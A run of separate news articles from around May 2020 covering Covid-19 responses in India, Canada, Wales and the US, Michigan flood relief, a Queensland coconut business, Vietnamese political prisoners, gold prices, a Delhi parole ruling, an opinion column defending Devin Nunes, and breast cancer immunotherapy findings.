Months spent in lockdown appear to have given people an appetite for gourmet Queensland treats, purchasable without leaving home.

The Willetts family on Port Douglas' Four Mile Beach where they harvest wild-growing coconuts.

Beach Harvest Australian Coconuts, which creates coconut chips, and chocolate artisan KOKOPOD were two of the 50 artisan producers to receive a slice of the state government's $200,000 Small Business Artisan Producer Grants Program.

Beach Harvest Australian Coconuts founder Casey Willetts began the business seven years ago, when she began experimenting with coconuts she collected from beaches around Port Douglas to entice her three young children to eat healthily.

Her hobby went from playgroup treats to a full-time business product, offered in 10 different flavours along with her own granola and muesli.
The unfortunate devastation caused by widespread flooding in Midland County has provided another purpose for the newly developed website, reliefmidland.org.

Organized by Midland Area Community Foundation (MACF) and United Way of Midland County, the 211 hosted website:

 Establishes a centralized community resource landing page. Links are updated and changed as the disaster relief process unfolds.

 Provides an opportunity for the public to contribute to the Midland Flood Relief Fund.

 Maintains regular communication to ensure a unified response while eliminating duplication.

 Brings stakeholders together to look at short- and long-term solutions.

 Works to coordinate and fill volunteer needs in connection with United Way.

The Midland Flood Relief Fund, initially established with a $250,000 contribution from the Midland Area Community Foundation and $250,000 in matching funds, was put in place to respond to emerging and long-term needs of Midland County, as outlined by the Midland County Emergency Manager and an emerging long-term recovery group.

The Flood Relief Fund provides a unique source of relief for Midland County, said Duncan Stuart, Midland Area Community Foundation Board Chair. Those who wish to give back in this time of need will not only have their contributions matched but can rest assured knowing their donations are being distributed in accordance to recommendations of those most familiar with community needs.

Established a mere two months prior to the 2020 flooding event was the Midland County COVID-19 Coalition.

These simultaneous crises that have impacted our community  COVID-19 and this recent flood event  have highlighted the importance of collaboration, said Holly Miller, Executive Director of United Way of Midland County. It is wonderful that United Way and Midland Area Community Foundation can join together to help with ongoing long-term needs in wake of this devastation.

MACF and United Way of Midland County, in conjunction with local government officials and community stakeholders, will continue to monitor and react to emerging community needs.

We have a resilient community and we have already seen the incredible fast-acting response of so many both locally and throughout the nation, said Sharon Mortensen, President and CEO of the Midland Area Community Foundation. We pride ourselves on our ability to mobilize and provide relief in the face of crisis.

If you would like to learn how you can help, please contact the Midland Area Community Foundation (smortensen@midlandfoundation.org or 989-839-9661) or United Way of Midland County (holly@unitedwaymidland.org or 989-631-3670).

United Way spearheading local volunteer efforts

United Way content manager Lindsay Henry said people who want to volunteer should visit the "flood relief" portal on United Way's website at eportal.unitedwaymidland.org/2020flood. This is where people can sign up to receive volunteer opportunity alerts and learn about volunteer opportunities in the local area, Henry said.

In the wake of this devastation, our top priority right now is gathering a pool of people that are ready and willing to fulfill needs and volunteer opportunities that will best serve our neighbors, Miller said. Midland is a strong community. We will overcome these trying times, and we will do it by uniting together.

Henry advises anyone seeking more resources and information to visit the "Midland County Disaster Resources" webpage at www.211nemichigan.org/covid-19.html. The site was launched earlier this year by 211 Northeast Michigan as a resource for Midland County residents during the COVID-19 pandemic.

211 is a free 24/7 hotline that can be reached by phone, email or text. The hotline connects people to resources and agencies they might need in a quick and confidential manner. While 211 is a nationwide program, the organization has had a strong presence in Michigan that began in Midland County in 2009.

Sarah Kile, 211 executive director, said the organization has seen a large increase in calls on Wednesday, and other Michigan 211 centers are helping with the volume.

"Compared to where we were earlier this week, our call volume has more than tripled since (Wednesday) morning," Kile said.

Many callers have been asking for information about shelter locations, as well as where to donate or volunteer. Kile said 211 is still open to take "typical" calls about local resources and agencies.
Healthcare workers treating Covid-19 patients in government hospitals designated for the treatment of patients with coronavirus disease are protesting after being asked to vacate quarantine facilities as per the latest guideline by the Union health ministry.

Under the previous guideline, all doctors, nurses, technicians and sanitation workers in the Covid-19 wards had to work 14 days in a row and remain in quarantine for the next 14 days to ensure that they did not take the infection back home.

The revised guideline from the union health ministry on management of manpower in the hospitals issued on May 15 said that there was no need for quarantine of healthcare workers after Covid-19 duty, unless there had been a breach in the personal protective equipment or any other form of high-risk exposure.

The Federation of Resident Doctors Association (FORDA) has called for a black ribbon protest on Friday demanding proper quarantine for all healthcare workers on Covid-19 duty.

A circular from Delhis Lady Hardinge Medical College issued on Thursday states, Hotel facility during post-duty period in Covid-19 and suspected Covid-19 zones provided to healthcare workers is hereby withdrawn and the occupants are directed to please vacate their rooms immediately. If any overstay is noticed, charges paid for the overstay will have to be recovered from their salaries.

The accommodation will be available to those still on Covid-19 duties at the hospital.

This is happening across the designated Covid-19 hospitals after the union health ministry guidelines were issued. The problem, however, is that even if someone is asymptomatic, they might pass on the infection to their hostel-mates or family members. We have seen in some cases staff testing positive during the second round of testing between day 11 to 14, said Dr Sunil Dhuchania, president of the resident doctors association of the hospital.

A similar notice was issued to the healthcare workers from Lok Nayak hospital, the biggest Covid-19 treatment facility in Delhi with 2,500 beds. In an order yesterday, those in quarantine were asked to vacate the hotels or dharmashala rooms by Thursday noon. However, we had a meeting with the medical director and they have been given a weeks time to vacate the facility, said Dr Parv Mittal, president of the RDA at Lok Nayak hospital.

For future batches of healthcare workers, the hospital will make arrangements for those working in high-risk areas such as the intensive care unit has to follow the quarantine protocol. Although the directions from the ministry and Delhi government is to provide quarantine only to those considered to have been high-risk contacts during their duty by the hospital infection control committee, we will be making arrangements for those working in ICUs to still continue the quarantine, said a senior official from the hospital administration, on condition of anonymity.

A similar compromise was worked out by the doctors at Dr Ram Manohar Lohia (RML) hospital in Delhi.

An extension has been provided for the current batch of people who finished their duty in mid-May. After that, we are in talks with the medical superintendent to at least provide quarantine for seven days so that the healthcare workers do not take back the infection to their elderly parents or young children, said Dr Ekta Yadav, president of the RDA at RML hospital.

However, we are hoping that the health ministry takes back these guidelines by the time the next shift ends, she said.

Doctors at Safdarjung hospital have negotiated a five-day quarantine for healthcare workers in the Covid-19 wards, so that they can be tested once before they go back home.

At the hospital level, our medical superintendent has allowed five-day quarantine for healthcare workers from the Covid-19 wards, so they can stay in the hotel till they are tested once, said Dr Manish Kumar, president of the RDA of Safdarjung hospital.

The All India Institute of Medical Sciences (AIIMS), which caters to the second-highest number of Covid-19 patients, is following the health ministry guidelines and is providing quarantine to only those who are recommended by the hospital infection control committee. The dharamshalas of the hospital, which are used by the relatives of the patients usually, were being provided to the healthcare workers from the hospital.

We are following the health ministry guidelines, said Dr DK Sharma, medical superintendent of the hospital.

The guidelines define high risk exposure as a healthcare worker treating Covid-19 patient or handling their samples without proper personal protective equipment (PPE) or probable breach of the PPE. It will also be required if a healthcare worker is in contact with a positive person at a distance of less than 1 metre for more than 15 minutes without masks, face-shields or goggles.
Year of Vindication, Part 4: Devin Nunes

Commentary

For revealing what he knew about the highly unusual surveillance on the transition team of a newly elected president, Rep. Devin Nunes (R-Calif.) was forced to step down from his position as chairman of the House Permanent Select Committee on Intelligence (HPSCI) while he was being investigated.

After he was cleared of having leaked classified information and restored to his chairmanship, people in politics and the news media set out to destroy him and his family as he stubbornly continued investigating the greatest political scandal in modern history.

For more than three years, top political elites in this country insisted he was a wild conspiracy theorist, a crookif not an outright traitor to his countryand a tool of the Russians.

Nevertheless, he persisted.

In the end, as he always had faith it would, vindication arrived for Nunes.

Nunes has been the congressman for Californias 22nd District since 2003. He chaired the HPSCI from 2015 to 2018, before losing the gavel to Rep. Adam Schiff (D-Calif.).

Its safe to say that not many people in U.S. history have been vilified and smeared for telling the truth about very serious issues of great national interest the way Nunes has been, since he blew the lid off the spying scandal at a press conference in Washington in March 2017.

It was there that Nunes revealed that members of the incoming presidents transition team had been spied on by the outgoing Obama administration.

At the time, it was successfully downplayed by portraying the surveillance of Trump transition people as being incidental and not deliberate.

Many people would have given up by now and told themselves it just wasnt worth it. They would have said, as the long months slowly slid by, that the cost of fighting to get the truth out was too much for them and their family to bear.

But Nunes didnt quit; he knew what was at stake in this scandal, and he was determined to bring it to light despite all the pressure.

Our very country was at stake. And I thank God that a patriot such as Nunes was there to stand in the breach and sound the alarm when the fate of our Republic hung in the balance.

Some will never accept Nuness vindication, of course; the hate and lies have warped their minds. One example of the brainwashing level of bias that Nunes has faced is Wikipedia.

The current Wikipedia page about Nunes is an utter joke. The people managing that page should be ashamed of themselves. If you read that website, you wouldnt be aware Nunes has been completely vindicated on his assertions about the following:

There was no TrumpRussia election collusion evidence, as both the final report by special counsel Robert Mueller as well as the FISA abuse report by DOJ Inspector General Michael Horowitz demonstrated. The FBI suppressed exculpatory evidence and misled the Foreign Intelligence Surveillance Court to approve a FISA spy warrant, including three renewals of the warrant, on Trump campaign adviser Carter Page. Two of those warrants have been ruled illegal and the other two are under review. Nowhere is this mentioned on Wikipedias page discussing Nuness involvement with the FISA matter. There was indeed unmasking that took place by officials in the Obama administration of incoming national security adviser Michael Flynn, and perhaps other Trump transition team officials as well. Acting Director of National Intelligence (ODNI) Richard Grenell just last week released a list of specific officials who were involved in the unmasking of Flynn.

For the past week, much of the attention in Washington concerning the Spygate scandal has revolved around Grenell declassifying and publicly releasing a list of particular Obama administration officials who made unmasking requests on Flynn.

Heres what I suspect happened: the Obama administration wasnt only spying on and unmasking the electronic communications of Flynn but also other members of the Trump transition team. I dont think Nunes called a press conference just because he was shown Flynn conversing with then-Russian Ambassador Kislyak.

Do you remember who was on that Trump transition team?

Nunes was, so was Jeff Sessions, Jared Kushner, Mike Pence, Rudy Giuliani, Donald Trump Jr., Ivanka Trump, and Eric Trump.

And of course, Donald J. Trump himself.

It looks increasingly as if Obama officials werent only spying on Trumps incoming national security adviser but might have also intercepted and unmasked the communications of the incoming attorney general and the chairman of the HPSCIa congressman who is also a member of the Gang of Eight.

Nunes stressed, when he revealed the unmasking that took place, that nowhere in these transcripts were transition team members talking to Russians or discussing Russia, foreign policy, or matters relating to intelligence. So why were these communications being intercepted, transcribed, and then unmasked by high-level Obama officials in the first place?

I believe we will soon know.

Brian Cates is a writer based in South Texas and author of Nobody Asked For My Opinion  But Here It Is Anyway! He can be reached on Twitter @drawandstrike.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Months into the coronavirus pandemic that has killed black Americans at a disproportionate rate, the head of a civil rights group said the federal government is still unable to provide more complete data about testing, infection and mortality rates by race and ethnicity.

Kristen Clarke, executive director of the Lawyers' Committee for Civil Rights Under Law, said she was disappointed in the response from Robert Redfield, director of the Centers for Disease Control and Prevention, which cited uneven reporting by state health departments as the reason for the lack of more comprehensive data.

Clarke said she is "deeply concerned" about the lack of information "because it means that officials are shooting in the dark when it comes to making important policy decisions like when do you lift the stay-at-home orders or when do you tell employers it's safe for employees to come back to work."

Clarke said she also is concerned about new hot spots emerging in some southern states, such as Alabama, where the mayor of Montgomery has sounded the alarm in recent days that the city is running out of critical space in its hospitals.

Redfield's letter was in response to one the Lawyers' Committee sent to Health and Human Services Secretary Alex Azar, which was signed by several hundred doctors and public health experts. The group wrote that the information was necessary to ensure people of color were not being discriminated against in testing and treatment. The letter also said the data would help public health officials better respond to the needs of African-Americans and other people of color.

Clarke said the committee is concerned about "reports from doctors and health professionals about bias in terms of care and treatment of black Americans, that they are being told at higher rates to stay at home, you don't need to go to the hospital, just monitor your symptoms at home," she said.

Redfield's letter acknowledges the disproportionate impact of covid-19, the disease the coronavirus causes, on people of color: "Protecting them and other people at risk is a priority for the CDC, and to do so requires that we have strong data that describes the impact of COVID-19 on these populations."

The CDC director's letter notes that state health departments "work to get complete information on every case, including race/ethnicity, but during a large-scale pandemic, it is understandable that these health departments may not be able to gather all the case-specific information." The letter said the CDC is also using other reporting systems, such as hospitals, to get information.

For instance, the letter refers to data on its website that provides "available race ethnicity data for approximately 30 percent of cases received through case-based reporting from public health departments."

Clarke said she was frustrated the letter didn't indicate a sense of urgency in the CDC's effort to get better race and ethnicity data. The Lawyers' Committee has also filed a Freedom of Information Act request asking for details about how the agency is compiling information, including what instructions it has given to states about collecting and reporting data on race and ethnicity.

"We're nearing 100,000 deaths, and we know that African-Americans are overrepresented, making up about a quarter of all who have died across the country, and it just feels like we are without a plan," Clarke said. "Data is critical to shaping a strategic and informed approach to help beat back the pandemic."
OTTAWA - Canada may soon be implementing a more unified approach to tracing the close contacts of COVID-19 cases, including a federally recommended app to track people's movements.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

Prime Minister Justin Trudeau responds to a question from the media during a daily news conference outside Rideau Cottage in Ottawa, Friday May 22, 2020. THE CANADIAN PRESS/Adrian Wyld

OTTAWA - Canada may soon be implementing a more unified approach to tracing the close contacts of COVID-19 cases, including a federally recommended app to track people's movements.

The government is eyeing several smartphone apps to help with contact tracing efforts, with the aim of finding one that stands apart.

Trudeau said many apps developed to date drain phone batteries because they must be open in order to work, but Google and Apple are working on a fix.

"It is our expectation that when the time comes for that to be released, we will be able to recommend strongly to Canadians a particular app that will help us manage the spread of COVID-19," he said.

The idea behind the app is to track anyone the user has been in close contact with, and alert them if they have been near someone with a confirmed or presumed case of the viral disease.

Several provinces have looked at developing their own contact tracing apps, including one already in use in Alberta. Ontario Premier Doug Ford said he supports a national, co-ordinated approach.

"When we fully reopen the economy and people are flying, lets say from Vancouver to Toronto to Calgary ... those apps have to be able to talk to each other," Ford said.

Ontario is actively looking for an app that fits its own needs and respects user privacy, but Ford said all the provinces and the federal government have agreed to look at how they can standardize the technology province to province.

Public health officials have cautioned against putting too much reliance on phone apps when it comes to contact tracing. Canada's deputy chief public health officer Dr. Howard Njoo warned Friday they are not a silver bullet.

Phones may register a close contact between a customer and a checkout clerk at the grocery store, for example, even though there's a barrier between them, he said.

Ottawa has also offered to help trace contacts the old-fashioned way.

More than 200 federal contact tracers are helping public health authorities in Ontario. Trudeau said they're ready to make thousands more calls a day when any province asks.

Statistics Canada has also provided 1,700 interviewers who can make 20,000 calls per day to help with contact tracing efforts, he said.

"We need to get in touch with everyone who may have been exposed to the virus to make sure they quarantine and monitor themselves for symptoms or get tested," Trudeau said in his daily briefing Friday.

"These federal resources are available to assist provinces and territories with any surges, or backlogs or challenges they have in contact tracing."

For contact tracing to be effective, Canada also needs to step up its testing for the virus, Trudeau said. Canada nominally has the capacity to test 60,000 people per day for COVID-19, but has been averaging only about 28,000 tests per day.

The prime minister said the government is still working to find out exactly what help the provinces need most.

Federal Health Minister Patty Hajdu said Friday her department has been working with provinces to make sure they have the materials needed to meet their testing goals, including swabs, reagents, and people to do the work.

"We see ourselves as building capacity for all the provinces and territories to test to their fullest need," she told the House of Commons committee on government operations.

Each province has its own testing strategy, and Ottawa must adapt its support to meet their individual needs, she said.

Testing 60,000 people per day is not a "magic number," said Njoo, and Canada doesn't necessarily need to use the full capacity of its labs to test effectively.

In British Columbia, where they have done a "very good job" flattening the curve and have relatively few cases compared to other provinces, Njoo said they are currently testing fewer people than Ontario or Quebec.

The strategy there is to test the right people at the right time to catch infections, he said, and to do otherwise would mean wasted tests that yield false results.

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Still, he said it's comforting to know Canada has a greater capacity if there is a major surge in potential cases.

Canadian governments are also looking for ways to consolidate their technological approach to COVID-19 with improved data sharing, Njoo said.

The federal and provincial governments have been criticized for decades for archaic data systems that make sharing information difficult at the best of times.

While provinces and territories have co-ordinated with the Public Health Agency of Canada to get faster access to case numbers for COVID-19 during the pandemic, detailed epidemiological data is still lacking.

Njoo said there are discussions about standardizing data collection across regions to make it easier to share information.

This report by The Canadian Press was first published May 22, 2020.
Political prisoners held in northern Vietnams Nam Ha Prison are suffering in temperatures soaring in their cells to over 100 degrees (37 C), the wife of one prisoner said, adding that her husband has also not been allowed to receive medicine sent to him by his family.



Fans set up in the prison in Ha Nam province are hung in high places and seemed not to work well enough to cool, Tran Thi Anwife of political prisoner Le Thanh Tungtold RFA on Friday, following a visit to the prison on May 11.



[The guards] told prisoners that if they wrote a petition, the fans would be repaired. But finally, the fans were not repaired at all, she said.



Tran also said she had sent medicine to her husband, who suffers from headaches and ringing in his ears, over a period of eight days, but that guards had refused to deliver it, and that letters sent by him to his family were never received.



Le Thanh Tung, now serving a prison term for calling for democracy in Vietnam, told Tran that political prisoners held at Nam Ha are being persecuted, she said.



Calls seeking comment from Nam Ha Prison authorities rang unanswered on Friday, but a family member of another prisoner held at Nam Ha, Phan Kim Khanh, confirmed Trans account to RFA of conditions at the prison.



Le Thanh Tung, a former soldier and freelance journalist also known as Le Ai Quoc, had previously been convicted under Article 88 of Vietnams Penal Code, which prohibits conducting propaganda against the state, for his association with Bloc 8406a banned coalition of political groups advocating democratic reform in the one-party communist state.



Released in June 2015, Le was arrested again in December 2015 and sentenced a year later by a court in Thai Binh province to a 12-year term for activities aimed at overthrowing the peoples administration under Article 79 of the Penal Code.



Dissent is not tolerated in Vietnam, and authorities routinely use a set of vague provisions in the penal code to detain dozens of writers, bloggers, and activists calling for greater freedoms in the one-party communist state.



Estimates of the number of prisoners of conscience now held in Vietnams jails vary widely.



New York-based Human Rights Watch has said that authorities held 138 political prisoners as of October 2019, while Defend the Defenders has suggested that at least 240 are in detention, with 36 convicted last year alone.



Reported by RFAs Vietnamese Service. Translated by Huy Le. Written in English by Richard Finney.
A one kilo Swiss gold bar and US dollars gold coins are pictured in Paris on February 20, 2020.

Gold gained on Friday as intensifying U.S.-China tensions compounded fears of a slow recovery in a global economy already reeling from the coronavirus pandemic.

Spot gold climbed 0.6% to $1,735.43 per ounce, after falling 1.4% on Thursday, and was headed for a small weekly decline. U.S. gold futures rose 0.8% to $1,736.20.

"China's aggressive stance on Hong Kong security could exacerbate already tense relations (with U.S.) and a possible confrontation between U.S. warships and Iranian freighters headed for Venezuela are key concerns heading into the long weekend, prompting investor buying," said Tai Wong, head of base and precious metals derivatives trading at BMO.

U.S.-China friction came to the fore again over the source of the coronavirus and escalated further with China's proposal to impose security laws on Hong Kong, drawing flak from Washington.

The tensions compounded fears of a slower global economic recovery, pressuring equity markets but supporting the U.S. dollar, also considered a safe haven. Heightening economic woes, Beijing dropped its annual growth target for the first time.

Gold, considered an insurance during political uncertainty, scaled an over 7-1/2 year peak earlier this week.

It has held its ground above the key $1,700 per ounce level, building impetus to reach its 2011 peak in the coming quarters, Fitch Solutions said in a note. Lower-for-longer interest rates with quantitative easing in full swing, macro and geopolitical uncertainty and strong investor flows should continue to support gold on a six to 12 month horizon, Fitch said.

On the physical side, demand picked up in top Asian hubs as economies eased lockdowns.

Elsewhere, palladium fell 4.2% to $1,922.55 per ounce, but was on track for its strongest week since March.

Platinum rose 0.5% to $836.80 per ounce and silver was 0.7% higher at $17.17.
Council staff to be deployed into local tracing units as part of Test, Trace, Protect strategy

This article is old - Published: Friday, May 22nd, 2020

Council staff across Wales are set to be deployed into local tracing units as part of the move into the Test, Trace, Protect stage of the fight against coronavirus.

Contact tracing has been, and is being used in countries around the world to limit the spread of the virus in the community by breaking the link in transmission.

It starts with self-reporting of symptoms, followed by testing suspected cases, tracing the contacts of those potentially infected and then protecting families, friends and communities through self-isolation.

We understand such local style tracing teams could number 20 across North Wales, with possibly 3-4 teams covering the Wrexham area each being made up of tens of people.

Local contact tracing teams have been described as a mix of clinical and non-clinical staff who can support those who are symptomatic or have tested positive and their close contacts to stay safe, with Welsh Government previously saying Wales will need to be able to quickly trace potentially tens of thousands of new contacts every day.

Today the First Minister Mark Drakeford was asked if the rough figure of 1,000 people across Wales was still accurate in terms of the numbers needed to staff the tracing system, and was asked how many people had been recruited.

The First Minister said, We are recruiting here in Wales primarily through our local authorities. Local authorities have staff who are unable to do their normal jobs.

Quite a few of them are people who are confined to home because of their own health conditions, but capable of being part of the contact and tracing regime.

There are trials of the system going on over this coming weekend. That will involve about 60 contact tracers, in those small scale trials in different parts of Wales.

Thats to test things like the script that you need as a contact tracer to make sure that you can explain to people on the other end of the phone, or the other end of the keyboard, what it is you are asking to get the information.

So its an important weekend because it will allow us in real life conditions, to test some of the things we will need to have in place and then be able to accelerate our ability to get the number of people not just a number, but people with the training they will need with the skills that they will have to acquire ready to do the job.

With councils being asked to redeploy staff to the teams for the startup period we asked the First Minister if there was parallel recruitment drive so as and when councils return to normal service fully there wont staffing issues.

We also asked if there enough capacity there considering the already lean departments in local authorities.

The First Minister responded: We are told by local authorities that there is capacity. They have people who are not able to return to work into the jobs that they would normally be doing, either because those jobs themselves have not been released from lockdown, or because those members of staff they underlying health conditions means its not safe for them to return to the workplace.

So, we are confident at the moment that there are people there to be recruited.

Its a good point that you make, and its one that we discussed with our local authorities about how we will need to bring further people into the system, as local authority services do begin to open up further.

Some of the people who may be available in the early part of the process may be going back to jobs that they do long term. So its actively in discussion with local authorities as part of our planning. But, we are confident that there are people there to be recruited in the first place.

Finally, you made another important point that the way we are trying to do this in Wales is to recruit people locally.

Because if youre talking to people on the phone, knowing local geography, knowing how things work locally, that just means youre in a better place to be able to respond to them and give them the best advice.
New Delhi, May 22 : The Union Health Ministry on Friday said the Covid-19 fatality rate has dropped from 3.13 per cent to 3.02 per cent, and the authorities involved in tackling the viral infection are concentrating on containment measures and clinical management of cases.

"We need to save the country from deaths due to Covid-19", said a ministry official.

In the daily press briefing, Lav Agarwal, Joint Secretary Health Ministry, said there is improvement in the COVID-19 mortality rate, as it dropped from 3.13 per cent on May 19 to 3.02 per cent. The ministry said that 3,234 patients have recovered in the last 24 hours, and 48,534 people have been cured so far, and there are a total 66,330 under active medical supervision.

"The recovery rate has improved to 41% and the case fatality rate has improved to 3.02%", said Agarwal, adding the focus of the Health Ministry is on districts which have reported most cases.

The Health Ministry said the growth rate of COVID-19 cases has witnessed a steady fall from April 3, when lockdown was able to put brakes on its growth. "The number of cases today would have been much higher had lockdown not been implemented", added the official.

According to an Indian Council for Medical Research (ICMR) official, 27,55,714 tests for COVID-19 were conducted till 1 p.m. Friday, and 1,03,829 tests were done in the last 24 hours. "Over 1 Lakh tests for COVID-19 done each day in the last four days", added the ICMR official.

The Centre emphasized that the decision of lockdown in India was timely and that several countries took the decision late. "Like the number of cases, the growth rate of the number of COVID-19 deaths too has fallen significantly due to lockdown, marking a notable difference between pre-lockdown and post-lockdown situations", said a senior official.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
The Delhi High Court has granted four weeks parole



to a murder convict, who sought the relief to find a suitable match for himself, saying the man has family ties in the society.

Justice Prateek Jalan granted the relief to the convict, serving life term since 2005, subject to his furnishing a personal bond in the sum of Rs 25,000 to the satisfaction of the jail superintendent.

"In view of the fact that the petitioner (convict) has family ties in society, and seeks parole to enable him to maintain those ties, and it does not appear that the petitioner's release would be especially injurious to the health of his family members, the petitioner is granted parole for a period of four weeks from the date of his release," the court said.

The high court directed the jail authorities "to take all necessary public health precautions" at the time of release of the petitioner-convict and at the time of his surrender before the jail authorities after the period of parole expires.

The convict was directed by the high court to inform the Station House Officers of Punjabi Bagh and Civil Lines police stations, within whose jurisdiction his residence was located, about his mobile number which has to be kept switched on at all times.

"Twice a week, on every Monday and Thursday, between 11:00am and 11:30am, the petitioner shall make a video call to the SHO, PS Civil Lines and drop a pin on Google Maps so that his presence and location can be verified by the SHO," the high court added.

With the direction, the high court disposed of the convict's plea seeking parole to enable him to explore the possibility of finding a suitable match for marriage, to maintain social ties and family relations, and to curb inner stress and depression due to incarceration.

He had also claimed that his stress and depression, due to incarceration, has been exacerbated due to the COVID-19 pandemic.

The petitioner had moved the high court after the prison authorities in December 2019 rejected his application for parole.

The high court had on January 14 issued notice to the police and called for his nominal role. However, due to the COVID-19 outbreak, the court''s functioning was restricted and his plea could not be heard.

Subsequently, he moved two applications -- one seeking early hearing of his plea and another for grant of parole on the additional ground of coronavirus pandemic.

On the last date of hearing, the police had told the court that his application for parole was rejected by the authorities as on an earlier occasion when he was granted the relief in 2011, he committed an offence in respect of which he was convicted on February 22, 2018 for dacoity, robbery, and conspiring to commit these crimes.

On the ground taken by the police regarding violation of an earlier parole, the court said despite his conviction in 2018, he was, thereafter, released on parole twice in 2018 and 2019 which were not misused by him.

The high court also noted in its order that according to his nominal roll he worked as a ''sahayak'' in the jail and his conduct has been satisfactory at least for last one year.

The petitioner was earlier convicted in 2005 in a murder case and sentenced to life imprisonment by a trial court.

His appeal against the 2005 order of the trial court was dismissed by the high court in 2009.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Lugano, Switzerland, 22 May 2020 - Two novel biomarkers have been found to correlate with improved outcomes with immunotherapy in metastatic breast cancer and may help to identify the patients most likely to benefit from this treatment, according to exploratory studies reported at the ESMO Breast Cancer Virtual Meeting 2020 (1,2). The biomarkers are an increase in the number of programmed death ligand-1 (PDL1/CD274) genes measured by copy number alteration (CNA) and the PD-L1 combined positive score (CPS), which assesses PD-L1 expression on both tumour and immune cells.

"Metastatic breast cancer remains incurable, with many unmet needs and challenges. Triple negative breast cancer has the poorest prognosis among breast cancer subtypes and limited treatment options, mainly involving chemotherapy," said Prof. Sherene Loi, Medical Oncologist and Head of Translational Breast Cancer Genomics and Therapeutics at the Peter MacCallum Cancer Centre, Melbourne, Australia, commenting on the relevance of the new studies. "Immunotherapy has resulted in long durations of disease control and even cures with improved quality of life compared with chemotherapy in other cancers. We are hoping this might also be applicable for some breast cancer patients".

"Previous studies show that not all patients with metastatic breast cancer benefit from immunotherapy. Pre-existing immunity, which can be detected by PD-L1 expression, is required for response to PD-1 or PD-L1 targeting immunotherapy agents. The key question is whether we can identify further patients with metastatic breast cancer that respond to immunotherapy using biomarkers other than just PD-L1 expression."

To explore new potential biomarkers for immunotherapy in advanced breast cancer, researchers assessed the predictive value of copy number alteration (CNA) for the PDL1 gene, which measures whether the gene number has decreased, remained the same (2 copies, one on each chromosome) or increased. (1) They measured CNA values in tumour tissue collected from 126 patients with metastatic breast cancer taking part in the SAFIR-IMMUNO study, the first randomised trial comparing immunotherapy with durvalumab to maintenance chemotherapy in this setting.

"The main predictive markers of immunotherapy efficacy in metastatic breast cancer to date are the absence of hormone receptors and PD-L1 positivity on immune cells," said lead author Prof. Thomas Bachelot, Director of the Breast Cancer Unit, Leon Berard Centre, Lyon, France. But he warned, "Immunohistochemistry analysis of PDL1 expression is not standardised and a more robust predictor of response to immunotherapy is needed."

Results showed that nearly one in four (23.8%) of the patients had copy gain (3 or 4 copies) or amplification (> 4 copies) of the PDL1 gene. Improvement of overall survival with durvalumab was limited to this group, with a median overall survival of 9 months (95% confidence interval [CI] 4-18) in the chemotherapy arm and not reached in the durvalumab arm (hazard ratio 0.17, 95% CI 0.05-0.55).

"This exploratory translational analysis suggested a higher efficacy of durvalumab as maintenance treatment for patients with PDL1 copy gain or amplification," said Bachelot. He suggested: "PDL1 copy number alteration could be an important predictive marker for PD-L1 inhibitor efficacy. If confirmed in larger series, this could have important implications for the development of immunotherapy in patients with metastatic breast cancer, enabling us to better identify patients that are sensitive to PD-L1 inhibitors than current testing for PD-L1 positivity on immune cells."

"At the moment patients with ER-positive breast cancer are not treated with immunotherapy because results of trials were poor. But maybe if we can select the subpopulation that will benefit - the 10% of patients with CNA abnormalities - and show immunotherapy is beneficial for them too, then this would be important," he explained.

Commenting on the potential relevance of the data, Loi said, "The study suggests that PD-L1 amplification may be a predictor for benefit to durvalumab monotherapy, interestingly in all subtypes as well as in triple negative breast cancer." But she cautioned, "It was an unplanned, retrospective analysis so requires further validation in larger studies. There was no analysis presented of whether PD-L1 amplification was associated with overexpression at the protein level, which would be important to understand the underlying biological mechanism of this observation."

Improved health-related quality of life

A second study looked at health-related quality of life (HRQOL) in patients with metastatic triple negative breast cancer randomised to the PD-L1 inhibitor pembrolizumab or chemotherapy in the KEYNOTE-119 trial. (2) Efficacy results for the trial showed no significant difference in overall survival (3) but this analysis described patient reported outcomes for patients by their PD-L1 combined positive score (CPS). CPS is a novel biomarker that assesses PD-L1 expression on both tumour cells and immune cells in contrast to PD-L1 tumour proportion score (TPS), which has been used as a biomarker for immunotherapy in other cancers but fails to take account of immune cell PD-L1 expression. (4)

"The benefit of pembrolizumab versus chemotherapy was observed in nearly all prespecified patient reported outcome endpoints," said lead author Prof. Peter Schmid, Lead of the Centre for Experimental Medicine at Barts Cancer Institute, Queen Mary University of London, UK. "Importantly, time to deterioration score for global health status/QoL scale was longer for patients treated with pembrolizumab compared to those treated with chemotherapy," he reported. The median time to deterioration was 4.3 months for pembrolizumab versus 1.7 months with chemotherapy (hazard ratio 0.70, 95% CI 0.46, 1.05). Scores for symptom scales for fatigue, nausea and vomiting, pain, dyspnoea and loss of appetite all increased with chemotherapy but remained stable or improved slightly with immunotherapy.

"In this CPS-enriched population of patients with metastatic triple negative breast cancer receiving second- and third-line treatments, health-related quality of life was better for patients receiving pembrolizumab than those receiving chemotherapy," said Schmid.

He added: "We are still learning a lot about immunotherapy in metastatic breast cancer. Trials for single agent immunotherapy in the first-line setting have not been positive. But these results clearly show there is a group of patients who do at least as well with single agent immunotherapy as chemotherapy in terms of survival and probably better in terms of quality of life."

Loi commented: "Patients who expressed high levels of PD-L1 protein according to their CPS score had better overall survival with pembrolizumab compared with chemotherapy, and pembrolizumab was far better tolerated than chemotherapy according to HRQOL measures. This underscores the importance of PD-L1 testing in the advanced setting as well as identifying other biomarkers that can help identify those who do best with pembrolizumab monotherapy given its favourable HRQOL impact."

###

Notes to Editors

Please make sure to use the official name of the meeting in your reports: ESMO Breast Cancer Virtual Meeting 2020

Official Congress Hashtag: #ESMOBreast20

Disclaimer

This press release contains information provided by the authors of the highlighted abstracts and reflects the content of these abstracts. It does not necessarily reflect the views or opinions of ESMO who cannot be held responsible for the accuracy of the data. Commentators quoted in the press release are required to comply with the ESMO Declaration of Interests policy and the ESMO Code of Conduct.

References

1 Abstract 128O 'PDL1/CD274 gain/amplification as a predictive marker of checkpoint blockade inhibitor efficacy in metastatic breast cancer: exploratory analysis of the SAFIR02-IMMUNO randomized phase II trial.' will be presented by Thomas Bachelot during the Best Abstracts session on Sunday 24 May 2020 12:45 to 14:15 (CET) on Channel 1. Annals of Oncology, Volume 31, Supplement 2, May 2020

